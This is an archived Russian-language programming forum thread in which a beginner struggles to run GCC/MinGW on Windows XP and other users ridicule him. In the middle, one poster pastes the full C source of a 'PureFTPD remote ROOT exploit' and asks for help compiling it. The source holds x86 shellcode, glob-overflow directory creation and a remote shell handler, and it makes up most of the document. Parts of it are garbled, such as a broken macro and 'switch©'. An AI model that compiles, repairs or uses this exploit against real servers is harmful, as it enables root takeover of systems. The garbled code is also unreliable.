PDA

Просмотр полной версии : Компиляторы


Dimann
21.01.2006, 15:25
Народ кто знает хороший компилятор?Подскажите плизз.Или подскажите как можно запустить Gnu C++.

nerezus
21.01.2006, 15:57
VisualStudio 2005 - такая тотичная IDE
или Dev-Cpp - качать меньше.

Dimann
21.01.2006, 22:09
А кто нибудь знает как запустить Gnu C++???

nerezus
21.01.2006, 22:18
gcc -o file.exec file.c

Dimann
21.01.2006, 23:32
А где это писать?

nerezus
22.01.2006, 00:00
в консоли

Dimann
22.01.2006, 01:03
А как консоль открыть и где он?

DetMyl
22.01.2006, 02:08
Интересная ситуация: человек знает что такое Gnu C++., но не знает кто "такой" консоль...
Почему тебе именно Gnu C++ нужен? Мне кажется на первых порах было бы попроще пользоваться IDE, типа тех что подсказал nerezus, там графическая оболочка. Или lcc-win32 (ftp://ftp.cs.virginia.edu/pub/lcc-win32/lccwin32.exe), там уже все в кучке, и линкер и компайлер и редактор, можно сразу работать:-)

Dimann
22.01.2006, 02:10
Народ ну подскажите где консоль.

qBiN
23.01.2006, 18:53
кнопачка "Пуск"->копачка "выполнить"->введи "cmd"(БЕЗ КАВЫЧЕК)->копачка "ок!"
это эмулятор доса в виндовсе)))

Dimann
23.01.2006, 20:30
Через него не запускается.

Lobzik
23.01.2006, 20:55
кнопачка "Пуск"->копачка "выполнить"->введи "cmd"(БЕЗ КАВЫЧЕК)->копачка "ок!"
Либо не "cmd", a "command"... если у тебя win9х...

Dimann
23.01.2006, 21:24
У меня Win xp.Как запустить Gnu C++ под Xp?

qBiN
24.01.2006, 16:20
У меня Win xp.Как запустить Gnu C++ под Xp?Пля,скачай себе что-нить с инсталятором и IDE, иначе замучаешь всех нах! Тебе ответили запускать компилятор так:
gcc -o file.exec file.c

Dimann
25.01.2006, 01:48
Он так не запускается.

DetMyl
25.01.2006, 03:19
АААА!
Ты его хоть на комп к себе переписал????
Из архива достал?
Путь в %path% прописал?

Dimann
25.01.2006, 19:09
У меня Setup файл по умолчанию установился в C.

Dimann
28.01.2006, 17:48
Народ как запустить компилятор MInGW?

nerezus
28.01.2006, 17:52
gcc -o out.exec source.c

Dimann
28.01.2006, 18:23
Вот что пишет при запуске через коммандную строку.

http://img80.imageshack.us/img80/2610/console4rj.jpg

danil1990
03.02.2006, 23:36
а где можно скачать компилатор подскажите плиз
а то я не могу найти

F_taker
04.02.2006, 00:01
компилятор для чего?

TTyck
04.02.2006, 00:32
просто компилятор=)))))))

limpompo
04.02.2006, 00:50
Прочитав все посты смеялся 2 часа =)) Клоуны всё таки осталить на нашей земле =)

limpompo
04.02.2006, 00:57
danil1990 - Ты ещё спроси где ПУСК находиться В XP

FQziT
04.02.2006, 00:57
Хехехе =)))))))

sn0w
04.02.2006, 01:08
чел жжот)) че сказать!)))

Inferno
04.02.2006, 01:09
Ну еслиб небыло такиз людей то и посмеятся нельзя былоб :)

KEZ
04.02.2006, 01:31
Че вы к словам придираетесь "какой какой компилятор?"
Просто компилятор! Что, ещё скажите что небывает просто компиляторов! Бывает! Вот и дайте ему просто компилятор чтобы запускать его не из консоли а просто запускать. Обычный компилятор, никакой просто компилятор.

Inferno
04.02.2006, 02:00
Вот и дайте ему просто компилятор чтобы запускать его не из консоли а просто запускать. Обычный компилятор, никакой просто компилятор.
Ты так больше не делай я чуть со стула не упал :d

tclover
04.02.2006, 02:35
Дима! Есть у меня специальный компилятор. Специально для тебя сделал. Пиши мне в личку :) Нажимай себе на кнопочки :) )))))))))))))))))))))))))))))) Компилирут всё что хочешь :)))))) лол

Ilnaz
26.02.2006, 23:53
Если уж вы такие умные, может кто из вас сможет откомпилировать вот этот эксплоит...Я буду очень признателен вам если вы хотя бы попробуете
Сам пробывал, но похоже что "Borland C++Builder 6" не под силам это сотворить, или же это не под силам моему мозгу.===>

/*
PureFTPD (1.x.x) linux/x86 remote ROOT exploit.
!PRIVATE!***!PRIVATE!***!PRIVATE!***!PRIVATE!***!P RIVATE!***!PRIVATE!***!PRIVATE!
exploit by setg1d(setg1d@neointernet.com).
------------------------------------------
FTP glob Expansion Vulnerability.
*/



#define FTP_PORT 21
#define MAXX(a, ((a) < ( ? ( : (a))

#define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */

extern int errno;

int debug_read;
int debug_write;


/*
* Non-ripped 45 byte linux shellcode which does setuid(0) and execve()
* and does not contain any '/' characters.
*/
char lincode[] =
"\x29\xc0\x50\xb0\x17\x50\xcd\x80"
"\x29\xc0\x50\xbf\x66\x69\x73\x68"
"\x29\xf6\x66\xbe\x49\x46\x31\xfe"
"\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
"\x56\x89\xe3\x50\x54\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";


/* architecture structure */
struct arch {
char *description;
char *shellcode;
unsigned long code_addr;
};


/* available targets */
struct arch archlist[] =
{
{ "Linux/x86 ProFTPD", lincode, 0xbfbfc2a8 }
};


/*
* function prototypes.
*/
void *Malloc(size_t);
void *Realloc(void *, size_t);
char *Strdup(char *);
int get_ip(struct in_addr *, char *);
int tcp_connect(char *, unsigned int);
ssize_t write_sock(int, void *, size_t);
ssize_t read_sock(int, void *, size_t);
int ftp_login(int, char *, char *);
char *ftp_gethomedir(int);
int ftp_mkdir(int, char *);
int ftp_chdir(int, char *);
int ftp_quit(int);
void possibly_rooted(int);
void send_glob(int, char *);
char *random_string(void);
int ftp_glob_exploit(int, char *, unsigned long, char *);
int verify_shellcode(char *);
void usage(char *);
void list_targets(void);


/*
* Error cheq'n wrapper for malloc.
*/
void *Malloc(size_t n)
{
void *tmp;

if((tmp = malloc(n)) == NULL)
{
fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}

return tmp;
}


/*
* Error cheq'n strdup.
*/
char *Strdup(char *str)
{
char *s;

if((s = strdup(str)) == NULL)
{
fprintf(stderr, "strdup failed! exiting...\n");
exit(EXIT_FAILURE);
}

return s;
}


/*
* translates a host from its string representation (either in numbers
* and dots notation or hostname format) into its binary ip address
* and stores it in the in_addr struct passed in.
*
* return values: 0 on success, != 0 on failure.
*/
int get_ip(struct in_addr *iaddr, char *host)
{
struct hostent *hp;

/* first check to see if its in num-dot format */
if(inet_aton(host, iaddr) != 0)
return 0;

/* next, do a gethostbyname */
if((hp = gethostbyname(host)) != NULL)
{
if(hp->h_addr_list != NULL)
{
memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
return 0;
}
return -1;
}

return -1;
}


/*
* initiates a tcp connection to the specified host (either in
* ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
* to the host's tcp port.
*
* return values: != -1 on success, -1 on failure.
*/
int tcp_connect(char *host, unsigned int port)
{
int sock;
struct sockaddr_in saddress;
struct in_addr *iaddr;

iaddr = Malloc(sizeof(struct in_addr));

/* write the hostname information into the in_addr structure */
if(get_ip(iaddr, host) != 0)
return -1;

saddress.sin_addr.s_addr = iaddr->s_addr;
saddress.sin_family = AF_INET;
saddress.sin_port = htons(port);

/* create the socket */
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;

/* make the connection */
if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
{
close(sock);
return -1;
}

/* everything succeeded, return the connected socket */
return sock;
}


/*
* a wrapper for write to enable us to do some debugging.
*/
ssize_t write_sock(int fd, void *buf, size_t count)
{
unsigned int i;

if(debug_write == 1)
{
printf(" > ");
for(i = 0; i < count; i++)
printf("%c", ((char *)buf)[i]);
fflush(stdout);
}

return write(fd, buf, count);
}


/*
* a wrapper for read to enable us to some debugging.
*/
ssize_t read_sock(int fd, void *buf, size_t count)
{
unsigned int i;
ssize_t r;

r = read(fd, buf, count);

if(debug_read == 1)
{
printf(" < ");
for(i = 0; i < r; i++)
printf("%c", ((char *)buf)[i]);
fflush(stdout);
}

return r;
}


/*
* FTP LOGIN function. Issues a "USER <username> and then "PASS <password>"
* to login to the remote host and checks that command succeeded.
*/
int ftp_login(int sock, char *username, char *password)
{
char recvbuf[256];
char *sendbuf;
int r;

/* get the header */
read_sock(sock, recvbuf, 255);

sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) *
sizeof(char));

sprintf(sendbuf, "USER %s\n", username);

write_sock(sock, sendbuf, strlen(sendbuf));
r = read_sock(sock, recvbuf, 255);
recvbuf[r] = 0x0;

if(atoi(recvbuf) != 331)
return 0;

sprintf(sendbuf, "PASS %s\n", password);

write_sock(sock, sendbuf, strlen(sendbuf));
r = read_sock(sock, recvbuf, 255);
recvbuf[r] = 0x0;

free(sendbuf);

if(atoi(recvbuf) == 230)
return 1;

return 0;
}


/*
* FTP GET HOME DIR function. Issues a "CWD ~" and "PWD" to
* force the ftp daemon to print our our current directory.
*/
char *ftp_gethomedir(int sock)
{
char recvbuf[256];
char *homedir = NULL;
int r;

write_sock(sock, "CWD ~\n", 6);
r = read_sock(sock, recvbuf, 255);
recvbuf[r] = 0x0;

if(atoi(recvbuf) == 250)
{
write_sock(sock, "PWD\n", 4);
r = read_sock(sock, recvbuf, 255);
recvbuf[r] = 0x0;

if(atoi(recvbuf) == 257)
{
char *front, *back;

front = strchr(recvbuf, '"');
front++;
back = strchr(front, '"');

homedir = Malloc((back - front) * sizeof(char));
strncpy(homedir, front, (back - front));
homedir[(back - front)] = 0x0;
}
}

return homedir;
}


/*
* FTP MKDIR function. Issues an "MKD <dirname>" to create a directory on
* the remote host and checks that the command succeeded.
*/
int ftp_mkdir(int sock, char *dirname)
{
char recvbuf[512];
char *sendbuf;
int r;

sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
sprintf(sendbuf, "MKD %s\n", dirname);

write_sock(sock, sendbuf, strlen(sendbuf));
r = read_sock(sock, recvbuf, 511);
recvbuf[r] = 0x0;

free(sendbuf);

if(atoi(recvbuf) == 257)
return 1;

return 0;
}


/*
* FTP CWD function. Issues a "CWD <dirname>" to change directory on
* the remote host and checks that the command succeeded.
*/
int ftp_chdir(int sock, char *dirname)
{
char recvbuf[512];
char *sendbuf;
int r;

sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
sprintf(sendbuf, "CWD %s\n", dirname);

write_sock(sock, sendbuf, strlen(sendbuf));
r = read_sock(sock, recvbuf, 511);
recvbuf[r] = 0x0;

free(sendbuf);

if(atoi(recvbuf) == 250)
return 1;

return 0;
}


/*
* FTP QUIT function. Issues a "QUIT" to terminate the connection.
*/
int ftp_quit(int sock)
{
char recvbuf[256];
int r;

write_sock(sock, "QUIT\n", 5);
r = read_sock(sock, recvbuf, 255);
recvbuf[r] = 0x0;

close(sock);
return 1;
}

/*
* switches between the user and the remote shell (if everything went well).
*/
void possible_shell(int sock)
{
char banner[] =
"cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, "
"enter commands at will; echo;\n\n";

char buf[1024];
fd_set fds;
int r;

write(sock, banner, strlen(banner));

for(;;)
{
FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sock, &fds);
select(255, &fds, NULL, NULL, NULL);

if(FD_ISSET(sock, &fds))
{
memset(buf, 0x0, sizeof(buf));
r = read (sock, buf, sizeof(buf) - 1);
if(r <= 0)
{
printf("Connection closed.\n");
exit(EXIT_SUCCESS);
}
printf("%s", buf);
}

if(FD_ISSET(fileno(stdin), &fds))
{
memset(buf, 0x0, sizeof(buf));
read(fileno(stdin), buf, sizeof(buf) - 1);
write(sock, buf, strlen(buf));
}
}
close(sock);
}


/*
* generates a string of 6 random characters.
* this is too allow for multiple successful runs, best way to do
* this is to actually remove the created directories.
*/
char *random_string(void)
{
int i;
char *s = Malloc(7);

srand(time(NULL));
for(i = 0; i < 6; i++)
s[i] = (rand() % (122 - 97)) + 97;

s[i] = 0x0;
return s;
}


/*
* sends the glob string, to overflow the daemon.
*/
void send_glob(int sock, char *front)
{
char globbed[] = "CWD ~/NNNNNN*/X*/X*/X*\n";
int i, j;

for(i = 6, j = 0; i < 6 + 6; i++, j++)
globbed[i] = front[j];

write_sock(sock, globbed, strlen(globbed));

printf("[5] Globbed commands sent.\n");

/* start our shell handler */
possible_shell(sock);
}


/*
* Exploitation routine.
* Makes 4 large directories and then cwd's to them.
*/
int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char
*shellcode)
{
char dir[300];
int i, j;
int total = strlen(homedir) + 1;
int align2;
char *rstring = random_string();

/* go to the writeable directory */
if(!ftp_chdir(sock, homedir))
{
fprintf(stderr, "[-] Failed to change directory, aborting!\n");
return 0;
}

for(i = 0; i < 4; i++)
{
memset(dir, 0x0, 299);

switch(i)
{
case 0: /* first dir == shellcode */
memcpy(dir, rstring, strlen(rstring));
memset(dir + strlen(rstring), NOP, 255 - strlen(rstring));
strcpy(&dir[(255 - strlen(shellcode))], shellcode);
break;

case 3: /* address buffer */
/* calculate the alignment */
align2 = total % sizeof(long);
align2 = sizeof(long) - align2;

printf("[3] Calculated alignment = %d, total = %d\n",
align2, total);

strcpy(dir, "XXXX");
memset(dir + 4, 'X', align2);

for(j = 4 + align2; j < 250; j += 4)
*(unsigned long *)(&dir[j]) = addy;
break;

default: /* cases 1 and 2, extra overflow bytes */
memset(dir, 'X', 255);
break;

}

total += strlen(dir) + 1;

if(!ftp_mkdir(sock, dir))
{
fprintf(stderr, "[-] Failed to generate directories, aborting!\n");
return 0;
}

if(!ftp_chdir(sock, dir))
{
fprintf(stderr, "[-] Failed to change directory, aborting!\n");
return 0;
}
}

printf("[4] Evil directories created.\n");

if(!ftp_chdir(sock, homedir))
{
fprintf(stderr, "[-] Failed to cwd back to %s, aborting!\n", homedir);
return 0;
}

/* perform the final attack */
send_glob(sock, rstring);

return 1;
}


/*
* returns true if the shellcode passes, false otherwise.
*/
int verify_shellcode(char *code)
{
int i, s = 0;

if(strlen(code) > 255)
{
fprintf(stderr, "[-] Shellcode length exceeds 255, aborting!\n");
return 0;
}

for(i = 0; i < strlen(code); i++)
{
if(code[i] == '/')
s++;
}

if(s > 0)
{
fprintf(stderr,
"[-] Shellcode contains %u slash characters, aborting\n", s);
return 0;
}

return 1;
}


/*
* displays the usage message and exits.
*/
void usage(char *p)
{
fprintf(stderr,
"Linux/x86 PureFTPD remote exploit.\n"
"usage: %s [options]\n"
"\t-c\tremote host to connect to\n"
"\t-o\tremote port to use\n"
"\t-u\tremote username\n"
"\t-p\tremote password\n"
"\t-i\tget the password interactively\n"
"\t-t\tpredefined target (\"-t list\" to list all targets)\n"
"\t-d\twriteable directory\n"
"\t-l\tshellcode address\n"
"\t-v\tdebug level [0-2]\n"
"\t-s\tseconds to sleep after login (debugging purposes)\n"
"\t-h\tdisplay this help\n", p);

exit(EXIT_FAILURE);
}

/*
* lists all available targets.
*/
void list_targets(void)
{
int i;

printf("Available Targets:\n");

for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
printf("%i: %s\n", i, archlist[i].description);

return;
}


int main(int argc, char **argv)
{
int sock, c;
int port = FTP_PORT;
int debuglevel = 0;
char *host = NULL;
char *username = NULL;
char *password = NULL;

struct arch *arch = NULL;
char *shellcode = lincode;
int target = 0;
int sleep_time = 0;
unsigned long code_addr = 0;
char *homedir = NULL;;

printf("\n\n Downlaod .:: www.WOW-TEAM.org/spaker ::.\n\n");
/* grab command line parameters */
while((c = getopt(argc, argv, "c:o:u:p:it:d:l:v:s:h")) != EOF)
{
switch©
{
case 'c':
host = Strdup(optarg);
break;

case 'o':
port = atoi(optarg);
break;

case 'u':
username = Strdup(optarg);
break;

case 'p':
password = Strdup(optarg);
/* hide the password from ps */
memset(optarg, 'X', strlen(optarg));
break;

case 'i':
password = getpass("Enter remote password: ");
break;

case 't':
if(strcmp(optarg, "list") == 0)
{
list_targets();
return EXIT_FAILURE;
}

target = atoi(optarg);
arch = &(archlist[target]);
code_addr = arch->code_addr;
shellcode = arch->shellcode;
break;

case 'd':
homedir = Strdup(optarg);
break;

case 'l':
code_addr = strtoul(optarg, NULL, 0);
break;

case 'v':
debuglevel = atoi(optarg);
break;

case 's':
sleep_time = atoi(optarg);
break;

default:
usage(argv[0]);
break;
}
}


/* check for required options */
if(host == NULL || username == NULL || password == NULL || code_addr == 0)
usage(argv[0]);

/* setup the debug level */
switch(debuglevel)
{
case 1:
debug_read = 1;
debug_write = 0;
break;

case 2:
debug_read = 1;
debug_write = 1;
break;

default:
debug_read = 0;
debug_write = 0;
break;
}

/* make sure the shellcode is good */
if(!verify_shellcode(shellcode))
return EXIT_FAILURE;

/* initiate the tcp connection to the ftp server */
if((sock = tcp_connect(host, port)) == -1)
{
fprintf(stderr, "[-] Connection to %s failed!\n", host);
ftp_quit(sock);
return EXIT_FAILURE;
}

if(arch == NULL)
printf("[0] Connected to host %s.\n", host);
else
printf("[0] Connected to host %s\n\tAs type %s.\n",
host, arch->description);


/* login */
if(!ftp_login(sock, username, password))
{
fprintf(stderr, "[-] Login failed, aborting!\n");
ftp_quit(sock);
return EXIT_FAILURE;
}

/* hey, so im anal! */
memset(password, 0x0, strlen(password));
free(username);
free(password);

printf("[1] Login succeeded.\n");

if(sleep != 0)
sleep(sleep_time);

if(homedir == NULL)
{
/* get home directory */
if((homedir = ftp_gethomedir(sock)) == NULL)
{
fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n");
ftp_quit(sock);
return EXIT_FAILURE;
}
}

printf("[2] Home directory retrieved as \"%s\", %u bytes.\n",
homedir, strlen(homedir));

/* do the exploitation */
if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))
{
fprintf(stderr, "[-] exploit failed, aborting!\n");
ftp_quit(sock);
return EXIT_FAILURE;
}

ftp_quit(sock);

free(host);
return EXIT_SUCCESS;
}

donetsk
20.03.2006, 20:11
KEZ вы не шарити челу нужен ПрстоКомпилятор.exe я могу такой написать чел стучи в личку ;)

Тему думаю стоит перенести в раздел Юмора :)

Кто ж так постит сообщения на диал апе ждал пол часа и ошибка на странице ты бы ещё войну и мир выложил и сказал бы народ поитайте хорошая фишка!

Happer
20.03.2006, 20:49
Ты так больше не делай я чуть со стула не упал :d
бугага...смешной топик
особенно понравилась фраза "эмулятор DOS" :)))

сорри за оффтоп

Nexwill
20.03.2006, 21:23
Топикстартер читай книги типа: сомоучитель по windows 98
весь флейм я тут устану чистить! так шо closed!
Шо бы флэйму меньшэ было!